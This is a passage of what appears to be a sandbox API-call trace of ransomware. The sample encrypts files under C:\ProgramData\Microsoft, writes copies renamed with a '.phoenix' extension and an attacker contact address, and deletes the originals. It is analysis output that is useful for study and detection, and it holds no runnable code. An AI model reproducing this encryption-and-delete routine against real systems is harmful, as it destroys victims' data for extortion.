	[0228.975] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60f0, dwBufLen=0x60f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60f0) returned 1
	[0228.976] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x60f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x60f0, lpOverlapped=0x0) returned 1
	[0228.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0228.977] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.977] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0228.977] CryptDestroyKey (hKey=0x151200) returned 1
	[0228.977] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0228.977] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.977] CloseHandle (hObject=0x2c4) returned 1
	[0228.977] CloseHandle (hObject=0x2f0) returned 1
	[0228.978] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\ppcrlconfig600.dll")) returned 1
	[0228.980] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.160] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=14972) returned 1
	[0229.160] CloseHandle (hObject=0x2d4) returned 1
	[0229.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl")) returned 0x20
	[0229.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.160] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.160] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.160] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.160] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.163] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0229.163] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.163] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x3a7c, lpOverlapped=0x0) returned 1
	[0229.190] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3a80, dwBufLen=0x3a80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3a80) returned 1
	[0229.190] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x3a80, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x3a80, lpOverlapped=0x0) returned 1
	[0229.191] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0229.191] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.191] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0229.191] CryptDestroyKey (hKey=0x151400) returned 1
	[0229.191] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0229.191] CryptDestroyKey (hKey=0x151200) returned 1
	[0229.191] CloseHandle (hObject=0x2d4) returned 1
	[0229.191] CloseHandle (hObject=0x2e4) returned 1
	[0229.192] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl")) returned 1
	[0229.194] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.196] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1310720) returned 1
	[0229.196] CloseHandle (hObject=0x2e4) returned 1
	[0229.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs")) returned 0x20
	[0229.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.197] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.197] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.197] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0229.197] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.197] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x110100, lpOverlapped=0x0) returned 1
	[0229.313] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110100, dwBufLen=0x110100 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110100) returned 1
	[0229.314] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x110100, lpOverlapped=0x0) returned 1
	[0229.388] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ff00, lpOverlapped=0x0) returned 1
	[0229.388] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2ff10, dwBufLen=0x2ff10 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2ff10) returned 1
	[0229.389] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2ff10, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2ff10, lpOverlapped=0x0) returned 1
	[0229.392] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0229.392] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.392] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0229.392] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0229.392] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0229.393] CryptDestroyKey (hKey=0x151400) returned 1
	[0229.393] CloseHandle (hObject=0x2e4) returned 1
	[0229.393] CloseHandle (hObject=0x2d4) returned 1
	[0229.681] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs")) returned 1
	[0229.681] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.681] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.jfm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.682] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.682] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.682] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0229.682] CloseHandle (hObject=0x2d4) returned 1
	[0229.682] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.682] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.683] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1822) returned 1
	[0229.683] CloseHandle (hObject=0x2d4) returned 1
	[0229.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0229.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.683] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.683] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.683] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0229.683] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.683] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x71e, lpOverlapped=0x0) returned 1
	[0229.696] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x720, dwBufLen=0x720 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x720) returned 1
	[0229.696] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x720, lpOverlapped=0x0) returned 1
	[0229.696] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0229.696] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.696] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0229.697] CryptDestroyKey (hKey=0x151100) returned 1
	[0229.697] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0229.697] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0229.697] CloseHandle (hObject=0x2d4) returned 1
	[0229.697] CloseHandle (hObject=0x2f0) returned 1
	[0229.697] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0229.698] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.698] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.698] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=360) returned 1
	[0229.698] CloseHandle (hObject=0x2f0) returned 1
	[0229.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml")) returned 0x20
	[0229.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.699] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.699] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.699] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0229.699] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.699] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x168, lpOverlapped=0x0) returned 1
	[0229.700] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x170, dwBufLen=0x170 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x170) returned 1
	[0229.700] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x170, lpOverlapped=0x0) returned 1
	[0229.701] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1511c0) returned 1
	[0229.701] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0229.701] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0229.701] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0229.701] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0229.703] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0229.703] CloseHandle (hObject=0x2f0) returned 1
	[0229.703] CloseHandle (hObject=0x2d4) returned 1
	[0229.703] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml")) returned 1
	[0229.704] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0229.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.705] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=360) returned 1
	[0229.705] CloseHandle (hObject=0x2d4) returned 1
	[0229.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml")) returned 0x20
	[0229.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.705] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0229.705] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
